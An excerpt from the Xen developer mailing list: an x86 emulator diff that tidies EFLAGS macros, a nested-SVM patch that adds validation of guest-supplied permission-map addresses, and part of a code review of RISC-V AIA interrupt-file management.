-#define EFLAGS_MASK (X86_EFLAGS_OF | X86_EFLAGS_SF | X86_EFLAGS_ZF | \
-                     X86_EFLAGS_AF | X86_EFLAGS_PF | X86_EFLAGS_CF)
+#define EFLAGS_MASK X86_EFLAGS(OF, SF, ZF, AF, PF, CF)
 
 /*
  * These EFLAGS bits are modifiable (by POPF and IRET), possibly subject
  * to further CPL and IOPL constraints.
  */
-#define EFLAGS_MODIFIABLE (X86_EFLAGS_ID | X86_EFLAGS_AC | X86_EFLAGS_RF | \
-                           X86_EFLAGS_NT | X86_EFLAGS_IOPL | X86_EFLAGS_DF | \
-                           X86_EFLAGS_IF | X86_EFLAGS_TF | EFLAGS_MASK)
+#define EFLAGS_MODIFIABLE (X86_EFLAGS(ID, AC, RF, NT, IOPL, DF, IF, TF) | \
+                           EFLAGS_MASK)
 
 #define truncate_word(ea, byte_width)           \
 ({  unsigned long __ea = (ea);                  \
--- a/xen/arch/x86/x86_emulate/x86_emulate.c
+++ b/xen/arch/x86/x86_emulate/x86_emulate.c
@@ -50,6 +50,7 @@
 
 #endif /* __XEN__ */
 
+#include "macros.h"
 #include "private.h"
 
 #ifndef X86EMUL_NO_MMX
@@ -735,7 +736,7 @@ test_cc(
         rc |= (flags & X86_EFLAGS_ZF);
         break;
     case 3: /* be/na */
-        rc |= (flags & (X86_EFLAGS_CF | X86_EFLAGS_ZF));
+        rc |= (flags & X86_EFLAGS(CF, ZF));
         break;
     case 4: /* s */
         rc |= (flags & X86_EFLAGS_SF);
@@ -1699,8 +1700,7 @@ x86_emulate(
         uint8_t al = _regs.al;
         unsigned int eflags = _regs.eflags;
 
-        _regs.eflags &= ~(X86_EFLAGS_CF | X86_EFLAGS_AF | X86_EFLAGS_SF |
-                          X86_EFLAGS_ZF | X86_EFLAGS_PF);
+        _regs.eflags &= ~X86_EFLAGS(CF, AF, SF, ZF, PF);
         if ( ((al & 0x0f) > 9) || (eflags & X86_EFLAGS_AF) )
         {
             _regs.eflags |= X86_EFLAGS_AF;
@@ -1726,7 +1726,7 @@ x86_emulate(
         {
             _regs.al += (b == 0x37) ? 6 : -6;
             _regs.ah += (b == 0x37) ? 1 : -1;
-            _regs.eflags |= X86_EFLAGS_CF | X86_EFLAGS_AF;
+            _regs.eflags |= X86_EFLAGS(CF, AF);
         }
         _regs.al &= 0x0f;
         break;
@@ -2143,7 +2143,7 @@ x86_emulate(
                 src.val |= X86_EFLAGS_IF;
         }
         else
-            src.val = _regs.r(flags) & ~(X86_EFLAGS_VM | X86_EFLAGS_RF);
+            src.val = _regs.r(flags) & ~X86_EFLAGS(VM, RF);
         goto push;
 
     case 0x9d: /* popf */ {
@@ -2151,7 +2151,7 @@ x86_emulate(
          * Bits which may not be modified by this instruction. RF is handled
          * uniformly during instruction retirement.
          */
-        uint32_t mask = X86_EFLAGS_VIP | X86_EFLAGS_VIF | X86_EFLAGS_VM;
+        uint32_t mask = X86_EFLAGS(VIP, VIF, VM);
 
         cr4 = 0;
         if ( !mode_ring0() )
@@ -2473,7 +2473,7 @@ x86_emulate(
 
     case 0xcf: /* iret */ {
         unsigned long sel, eip, eflags;
-        uint32_t mask = X86_EFLAGS_VIP | X86_EFLAGS_VIF | X86_EFLAGS_VM;
+        uint32_t mask = X86_EFLAGS(VIP, VIF, VM);
 
         fail_if(!in_realmode(ctxt, ops));
         ctxt->retire.unblock_nmi = true;
@@ -2514,7 +2514,7 @@ x86_emulate(
             _regs.al = _regs.al % n;
             _regs.ah = _regs.al / n;
         }
-        _regs.eflags &= ~(X86_EFLAGS_SF | X86_EFLAGS_ZF | X86_EFLAGS_PF);
+        _regs.eflags &= ~X86_EFLAGS(SF, ZF, PF);
         _regs.eflags |= !_regs.al ? X86_EFLAGS_ZF : 0;
         _regs.eflags |= ((int8_t)_regs.al < 0) ? X86_EFLAGS_SF : 0;
         _regs.eflags |= even_parity(_regs.al) ? X86_EFLAGS_PF : 0;
@@ -2646,21 +2646,21 @@ x86_emulate(
                 emulate_1op("neg", dst, _regs.eflags);
             break;
         case 4: /* mul */
-            _regs.eflags &= ~(X86_EFLAGS_OF | X86_EFLAGS_CF);
+            _regs.eflags &= ~X86_EFLAGS(OF, CF);
             switch ( dst.bytes )
             {
             case 1:
                 dst.val = _regs.al;
                 dst.val *= src.val;
                 if ( (uint8_t)dst.val != (uint16_t)dst.val )
-                    _regs.eflags |= X86_EFLAGS_OF | X86_EFLAGS_CF;
+                    _regs.eflags |= X86_EFLAGS(OF, CF);
                 dst.bytes = 2;
                 break;
             case 2:
                 dst.val = _regs.ax;
                 dst.val *= src.val;
                 if ( (uint16_t)dst.val != (uint32_t)dst.val )
-                    _regs.eflags |= X86_EFLAGS_OF | X86_EFLAGS_CF;
+                    _regs.eflags |= X86_EFLAGS(OF, CF);
                 _regs.dx = dst.val >> 16;
                 break;
 #ifdef __x86_64__
@@ -2668,7 +2668,7 @@ x86_emulate(
                 dst.val = _regs.eax;
                 dst.val *= src.val;
                 if ( (uint32_t)dst.val != dst.val )
-                    _regs.eflags |= X86_EFLAGS_OF | X86_EFLAGS_CF;
+                    _regs.eflags |= X86_EFLAGS(OF, CF);
                 _regs.rdx = dst.val >> 32;
                 break;
 #endif
@@ -2676,7 +2676,7 @@ x86_emulate(
                 u[0] = src.val;
                 u[1] = _regs.r(ax);
                 if ( mul_dbl(u) )
-                    _regs.eflags |= X86_EFLAGS_OF | X86_EFLAGS_CF;
+                    _regs.eflags |= X86_EFLAGS(OF, CF);
                 _regs.r(dx) = u[1];
                 dst.val = u[0];
                 break;
@@ -2685,13 +2685,13 @@ x86_emulate(
         case 5: /* imul */
             dst.val = _regs.r(ax);
         imul:
-            _regs.eflags &= ~(X86_EFLAGS_OF | X86_EFLAGS_CF);
+            _regs.eflags &= ~X86_EFLAGS(OF, CF);
             switch ( dst.bytes )
             {
             case 1:
                 dst.val = (int8_t)src.val * (int8_t)dst.val;
                 if ( (int8_t)dst.val != (int16_t)dst.val )
-                    _regs.eflags |= X86_EFLAGS_OF | X86_EFLAGS_CF;
+                    _regs.eflags |= X86_EFLAGS(OF, CF);
                 ASSERT(b > 0x6b);
                 dst.bytes = 2;
                 break;
@@ -2699,7 +2699,7 @@ x86_emulate(
                 dst.val = ((uint32_t)(int16_t)src.val *
                            (uint32_t)(int16_t)dst.val);
                 if ( (int16_t)dst.val != (int32_t)dst.val )
-                    _regs.eflags |= X86_EFLAGS_OF | X86_EFLAGS_CF;
+                    _regs.eflags |= X86_EFLAGS(OF, CF);
                 if ( b > 0x6b )
                     _regs.dx = dst.val >> 16;
                 break;
@@ -2708,7 +2708,7 @@ x86_emulate(
                 dst.val = ((uint64_t)(int32_t)src.val *
                            (uint64_t)(int32_t)dst.val);
                 if ( (int32_t)dst.val != dst.val )
-                    _regs.eflags |= X86_EFLAGS_OF | X86_EFLAGS_CF;
+                    _regs.eflags |= X86_EFLAGS(OF, CF);
                 if ( b > 0x6b )
                     _regs.rdx = dst.val >> 32;
                 break;
@@ -2717,7 +2717,7 @@ x86_emulate(
                 u[0] = src.val;
                 u[1] = dst.val;
                 if ( imul_dbl(u) )
-                    _regs.eflags |= X86_EFLAGS_OF | X86_EFLAGS_CF;
+                    _regs.eflags |= X86_EFLAGS(OF, CF);
                 if ( b > 0x6b )
                     _regs.r(dx) = u[1];
                 dst.val = u[0];
@@ -3126,7 +3126,7 @@ x86_emulate(
 
             _regs.r(cx) = _regs.eip;
             _regs.eip = msr_val;
-            _regs.eflags &= ~(X86_EFLAGS_VM | X86_EFLAGS_IF | X86_EFLAGS_RF);
+            _regs.eflags &= ~X86_EFLAGS(VM, IF, RF);
         }
 
         fail_if(ops->write_segment == NULL);
@@ -3224,7 +3224,7 @@ x86_emulate(
             else
                 _regs.rip = _regs.ecx;
 
-            _regs.eflags = _regs.r11 & ~(X86_EFLAGS_RF | X86_EFLAGS_VM);
+            _regs.eflags = _regs.r11 & ~X86_EFLAGS(RF, VM);
         }
         else
 #endif
@@ -3934,7 +3934,7 @@ x86_emulate(
 
         generate_exception_if(!(msr_val & 0xfffc), X86_EXC_GP, 0);
 
-        _regs.eflags &= ~(X86_EFLAGS_VM | X86_EFLAGS_IF | X86_EFLAGS_RF);
+        _regs.eflags &= ~X86_EFLAGS(VM, IF, RF);
 
         cs.sel = msr_val & ~3; /* SELECTOR_RPL_MASK */
         cs.base = 0;   /* flat segment */
@@ -5254,7 +5254,7 @@ x86_emulate(
                 {
                 case X86EMUL_OKAY:
                     dst.type = OP_NONE;
-                    _regs.eflags |= X86_EFLAGS_ZF | X86_EFLAGS_PF;
+                    _regs.eflags |= X86_EFLAGS(ZF, PF);
                     break;
                 case X86EMUL_CMPXCHG_FAILED:
                     rc = X86EMUL_OKAY;
@@ -5266,7 +5266,7 @@ x86_emulate(
             else
             {
                 dst.val = src.val;
-                _regs.eflags |= X86_EFLAGS_ZF | X86_EFLAGS_PF;
+                _regs.eflags |= X86_EFLAGS(ZF, PF);
             }
         }
         if ( !(_regs.eflags & X86_EFLAGS_ZF) )


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 14:41:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 14:41:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376091.1623051 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5Sw-0004E5-07; Wed, 29 Jul 2026 14:41:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376091.1623051; Wed, 29 Jul 2026 14:41:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5Sv-0004Dy-Ta; Wed, 29 Jul 2026 14:41:01 +0000
Received: by outflank-mailman (input) for mailman id 1376091;
 Wed, 29 Jul 2026 14:41:00 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wp5Su-0004Dr-L0
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:41:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp5Su-00EgJK-1k
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:41:00 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a6a10ef-5cb7-0a2a0a5109dd-0a2a4507c79e-16
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:40:59 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a6a10fa-b4ea-0a2a45070019-a0658309add0-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:40:59 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTP id 6597D83093B8;
 Wed, 29 Jul 2026 10:39:13 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com,
	teddy.astie@vates.tech,
	Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH v2] x86/nSVM: Check the L1 IOPM_BASE and MSRPM_BASE assigned physical addresses
Date: Wed, 29 Jul 2026 15:38:09 +0100
Message-ID: <966e58864089efbe30e9b900f09005fe13c74729.1785335079.git.abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1785336059-A5EC6AE4-8EF146E4/0/0
X-purgate-type: clean
X-purgate-size: 4872

The Xen nested virtualization code maps the physical addresses assigned by
the L1 guests, for IOPM_BASE and MSRPM_BASE, directly to valid host addresses
without sanity checks. Add sanity checks to verify the L1 assigned addresses
are valid guest addresses. This check also makes the bahavior compliant with
the Hardware handling of the assigned addresses. The hardware is expected to
cause VMEXIT_INVALID with IOPM_BASE and MSRPM_BASE addresses greater than or
equal to the maximum supported physical address, see[1].

While at it, clean up the code. Remove the unused bool viopm and the
svm_vcpu::ns_oiomap_pa.

[1] https://docs.amd.com/v/u/en-US/24593_3.44_APM_Vol2

Signed-off-by: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
---
Changes in v2:
- Rename IOPM_MAX_PAGES_DIFF and MSRPM_MAX_PAGES_DIFF constants to 
  IOPM_PAGES_COUNT and MSRPM_PAGES_COUNT.
- Drop the 2-pages for domain check.
- Change the IOPM and MSRPM boundary checks.
- Use gaddr_to_gfn instead of open-coding >> PAGE_SHIFT.
- Use __func__ instead of hardcoding raw function names.
---
Testing:
 - Using a locally developed XTF nested virt setup, I manually tested VMRUN
   instruction handling with the address value (0xffffffffffffffffUL) assigned
   to VMCB::iopm_base_pa:
   - Without the changes the address is mapped by the Xen code to the address
     0x604b634000 and it completes the execution without any reported errors.
   - With the changes, the VMRUN execution fails and VMEXIT_INVALID is reported
     back in the ns_vmexit.exitcode.
 - CI tests:
https://gitlab.com/xen-project/people/aabdelsa/xen/-/pipelines/2715620521
---
 xen/arch/x86/hvm/svm/nestedsvm.c         | 25 +++++++++++++++++++++---
 xen/arch/x86/include/asm/hvm/svm-types.h |  2 +-
 2 files changed, 23 insertions(+), 4 deletions(-)

diff --git a/xen/arch/x86/hvm/svm/nestedsvm.c b/xen/arch/x86/hvm/svm/nestedsvm.c
index b06124c2c9..134c7039af 100644
--- a/xen/arch/x86/hvm/svm/nestedsvm.c
+++ b/xen/arch/x86/hvm/svm/nestedsvm.c
@@ -18,6 +18,8 @@
 
 #define NSVM_ERROR_VVMCB        1
 #define NSVM_ERROR_VMENTRY      2
+#define IOPM_PAGES_COUNT        3
+#define MSRPM_PAGES_COUNT       2
 
 int nestedsvm_vmcb_map(struct vcpu *v, uint64_t vmcbaddr)
 {
@@ -282,7 +284,7 @@ static int nsvm_vcpu_hostrestore(struct vcpu *v, struct cpu_user_regs *regs)
     return 0;
 }
 
-static int nsvm_vmrun_permissionmap(struct vcpu *v, bool viopm)
+static int nsvm_vmrun_permissionmap(struct vcpu *v)
 {
     struct svm_vcpu *arch_svm = &v->arch.hvm.svm;
     struct nestedsvm *svm = &vcpu_nestedsvm(v);
@@ -294,6 +296,24 @@ static int nsvm_vmrun_permissionmap(struct vcpu *v, bool viopm)
     enum hvm_translation_result ret;
     unsigned long *ns_viomap;
     bool ioport_80 = true, ioport_ed = true;
+    gfn_t ns_iopm_end =
+        gfn_add(gaddr_to_gfn(ns_vmcb->_iopm_base_pa), (IOPM_PAGES_COUNT - 1));
+    gfn_t ns_msrpm_end =
+        gfn_add(gaddr_to_gfn(ns_vmcb->_msrpm_base_pa), (MSRPM_PAGES_COUNT - 1));
+
+    if ( gfn_x(ns_iopm_end) > domain_get_maximum_gpfn(v->domain) )
+    {
+        gdprintk(XENLOG_ERR, "%s invalid _iopm_base_pa address (%#"PRIx64")\n",
+                 __func__, ns_vmcb->_iopm_base_pa);
+        return 1;
+    }
+
+    if ( gfn_x(ns_msrpm_end) > domain_get_maximum_gpfn(v->domain) )
+    {
+        gdprintk(XENLOG_ERR, "%s invalid _msrpm_base_pa address (%#"PRIx64")\n",
+                 __func__, ns_vmcb->_msrpm_base_pa);
+        return 1;
+    }
 
     ns_msrpm_ptr = (unsigned long *)svm->ns_cached_msrpm;
 
@@ -308,7 +328,6 @@ static int nsvm_vmrun_permissionmap(struct vcpu *v, bool viopm)
     /* Check l1 guest io permission map and get a shadow one based on
      * if l1 guest intercepts io ports 0x80 and/or 0xED.
      */
-    svm->ns_oiomap_pa = svm->ns_iomap_pa;
     svm->ns_iomap_pa = ns_vmcb->_iopm_base_pa;
 
     ns_viomap = hvm_map_guest_frame_ro(svm->ns_iomap_pa >> PAGE_SHIFT, 0);
@@ -418,7 +437,7 @@ static int nsvm_vmcb_prepare4vmrun(struct vcpu *v, struct cpu_user_regs *regs)
     n2vmcb->_tsc_offset = n1vmcb->_tsc_offset + ns_vmcb->_tsc_offset;
 
     /* Nested IO permission bitmaps */
-    rc = nsvm_vmrun_permissionmap(v, clean.iopm);
+    rc = nsvm_vmrun_permissionmap(v);
     if ( rc )
         return rc;
 
diff --git a/xen/arch/x86/include/asm/hvm/svm-types.h b/xen/arch/x86/include/asm/hvm/svm-types.h
index 8acadb9dcc..beab9a3af2 100644
--- a/xen/arch/x86/include/asm/hvm/svm-types.h
+++ b/xen/arch/x86/include/asm/hvm/svm-types.h
@@ -51,7 +51,7 @@ struct nestedsvm {
     unsigned long *ns_merged_msrpm;
 
     /* guest physical address of virtual io permission map */
-    paddr_t ns_iomap_pa, ns_oiomap_pa;
+    paddr_t ns_iomap_pa;
     /* Shadow io permission map */
     unsigned long *ns_iomap;
 
-- 
2.53.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 14:55:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 14:55:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376165.1623073 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5gq-0006RL-B1; Wed, 29 Jul 2026 14:55:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376165.1623073; Wed, 29 Jul 2026 14:55:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5gq-0006R7-4N; Wed, 29 Jul 2026 14:55:24 +0000
Received: by outflank-mailman (input) for mailman id 1376165;
 Wed, 29 Jul 2026 14:55:22 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp5go-0006Qg-Bk
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:55:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp5gn-0081HR-LI
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:55:21 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a1448-5cb7-0a2a0a5109dd-0a2a450bc6a2-46
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:55:21 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a1459-b7e8-0a2a450b0019-d1558031d059-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:55:21 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-495757ccbc1so9397695e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 07:55:21 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49764d8e826sm72091585e9.8.2026.07.29.07.55.19
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 07:55:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785336921; x=1785941721; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=HgvdKqXyF3bMTX7gY8PgbzMsQrub0x/2x6Dt27RpWaM=;
        b=NyumVrcdXduB9zUNw1PNAGpArbOALbakinXK0xvBUa8UmhjfGu6jWd/hTHqmwz5Ce9
         9e4bpo4avTjVagc9SejyIspgSNZj3wPMV7n3PdhqLY0H0OJqT6w+lm7gnUyAdOYM1nh3
         3SVfng0QbchjyAJjFRim3TpHnu0w1HFhyLmRET9lwD8+Q+M76cnlzN/lkvzFE9FyFDvn
         Edc0OTImFg1nAwNwgDhp1KK+L0pmLwNib0c3JoJIHGBbs7dmRr35QWZkcKViGPbSezjq
         8YAj9RsS45ciP8BdJXMSz3jmhsWHUaojGCnlhw89UpaM7IP8ZZtNCzNkmbJ+/5rYXmAL
         bU2Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785336921; x=1785941721;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=HgvdKqXyF3bMTX7gY8PgbzMsQrub0x/2x6Dt27RpWaM=;
        b=g9ygLpg9HqxWjPz77mvCb+mPWgNUadTEiALuPGrEpUWEENEKmwGuxvKdW15kib2bWx
         VdJDvwXlS40qTAFsbHvGIeN/GrOIe+5DrvHg1/+BZpUrEuFMuSV+ZFBpH/7CGeMkimOe
         ZNA/WCcydY9pqXMiO5ZXlXVc/7EQ8lGeRxTD3O+w5PMMXLJ2FtGTrAh7vu8S1OPTz8cs
         IF826bwwWXPR+cSfSUouQ2nvjxqa1kFWq+N3tGG26qMfg58cboaQ/TGAclgGXVxo6h8p
         oBrinJqlQFDJTXiOt0OQTp1wmS6iHAtgLQX8YOl6ElSS2F7xE/9XLqFz/IUd0ljXPW26
         oIsg==
X-Forwarded-Encrypted: i=1; AHgh+Rp5WZxITdkbv4LHRW8vDaLPvoi/HwHtWundr/ZS6uQ2wgvju4yxXy/inWn1Lm5yESwnVX+D4WLbacg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxZwxGyZp7cOzmCNuQfHY/pOLyx20Js/PfIhfSB4uvexUgwCJQb
	HaXF7gmvYYL4tcjNq2OIqohP6X4bcCS9lWXYWU1TWkkU7fddZD+cQAn0
X-Gm-Gg: AR+sD11XwK1B7HHh+AAWyh779Db7y6DgzK1cmz9++wiu7j98cMdZzxarcUOLcyauehV
	7zzJeHKa5XQ8c+1OBv7CqcNnz/mBD2uak+TlRlFs4aQcpzDs84lfMgDoOrq6QQk9+gHYJtWpjJy
	3IPdYkTOy0XFX7JTLmkf5JNMBrSGlc1+Kt8IRiNlwhO+4GMi8H0MtJquK6eQfa+nMIxaoZtlrZl
	Fzn8eJkr6IO0wRIvGonopbHir5TzNyfhaKdfO66gO809drX3rQvMcW0/SayYY4olpYaJV6VItqf
	A1RZrQiQzSRY08NWPIWGkgUS9Y/uQ27VLV3XiZvwjeUyYlfgjktW/qGEAOGzkIVtPawHuGKh11B
	btrO/T6czNVmxpn0KZYssa/teo11/WME/TI+7q/GP3F8RA38pkZOUSBKdrIGVihBjrIoXzCt6im
	LfMTCUKf6/a2UqhhzFDIpNnuIglyM+O8PFjsaYhBzkBmIuWNIvNHho85F+rJXh3YXaRUhos2tBr
	O7hl7T0zhHj8v7+B6YVJu6lRK6s0Zm9yyEpaGosXW0=
X-Received: by 2002:a05:600c:4744:b0:495:4c74:6a14 with SMTP id 5b1f17b1804b1-496c6438e91mr78373775e9.14.1785336920820;
        Wed, 29 Jul 2026 07:55:20 -0700 (PDT)
Message-ID: <191a9ddc-9f37-4d26-9141-7dfaf88cb26c@gmail.com>
Date: Wed, 29 Jul 2026 16:55:19 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 02/17] xen/riscv: add basic VGEIN management for AIA
 guests
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <b141b8d976719bb9b76147cacfd5842fb7aac74e.1784560663.git.oleksii.kurochko@gmail.com>
 <6501f040-ea59-4e78-8854-030f786dbcf7@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <6501f040-ea59-4e78-8854-030f786dbcf7@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785336921-1BED69EA-7CF7403B/10/73395122804
X-purgate-type: spam
X-purgate-size: 9183



On 7/27/26 5:41 PM, Jan Beulich wrote:
> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>> It was decided to add support for IMSIC from the start instead of having APLIC
>> operate in direct delivery mode, as it requires a trap-and-emulation approach,
>> which is not optimal from a performance standpoint.
>>
>> AIA provides a hardware-accelerated mechanism for delivering external
>> interrupts to domains via "guest interrupt files" located in IMSIC.
>> A single physical hart can implement multiple such files (up to GEILEN),
>> allowing several virtual harts to receive interrupts directly from hardware.
>>
>> Introduce per-CPU tracking of guest interrupt file identifiers (VGEIN)
>> for systems implementing AIA specification. Each CPU maintains
>> a bitmap describing which guest interrupt files are currently in use.
>>
>> Add helpers to initialize the bitmap based on the number of available
>> guest interrupt files (GEILEN), assign a VGEIN to a vCPU, and release it
>> when no longer needed. When assigning a VGEIN, the corresponding value
>> is written to the VGEIN field of the guest hstatus register so that
>> VS-level external interrupts are delivered from the selected interrupt
>> file.
> 
> And when exactly is this "assignment" intended to occur? vgein_assign() and
> vgein_release() have no callers here, so this remains entirely unclear.

[A] Agreed, I should have added that information to the commit message:

VGEIN is assigned (via vgein_assign()) before jumping to the new vCPU 
execution context (in continue_new_vcpu()) and is re-assigned during 
vCPU migration from one pCPU to another.

VGEIN is released (via vgein_release()) on the old pCPU during migration.


> 
>> @@ -14,10 +36,133 @@ bool aia_usable(void)
>>       return _aia_usable;
>>   }
>>   
>> +static int vgein_init(unsigned int cpu)
>> +{
>> +    struct vgein_ctrl *vgein = &per_cpu(vgein, cpu);
>> +
>> +    csr_write(CSR_HGEIE, -1UL);
>> +    vgein->geilen = flsl(csr_read(CSR_HGEIE) >> 1);
>> +    csr_write(CSR_HGEIE, 0);
>> +
>> +    printk("cpu%u.geilen=%u\n", cpu, vgein->geilen);
> 
> At most dprintk(), I'd say. Better drop altogether.

I will drop it.

> 
>> +    if ( !vgein->geilen )
>> +        return -EOPNOTSUPP;
>> +
>> +    vgein->owners = xvzalloc_array(struct vcpu *, vgein->geilen);
>> +    if ( !vgein->owners )
>> +        return -ENOMEM;
>> +
>> +    spin_lock_init(&vgein->lock);
>> +
>> +    return 0;
>> +}
>> +
>> +static int cf_check cpu_callback(struct notifier_block *nfb, unsigned long action,
> 
> Nit: Line length.
> 
>> +                        void *hcpu)
> 
> Nit: Indentation.
> 
>> +{
>> +    unsigned int cpu = (unsigned long)hcpu;
>> +    int rc = 0;
>> +
>> +    switch ( action )
>> +    {
>> +    case CPU_STARTING:
>> +        rc = vgein_init(cpu);
>> +        if ( rc )
>> +            printk("AIA: failed to init vgein for CPU%u\n", cpu);
>> +        break;
>> +    }
>> +
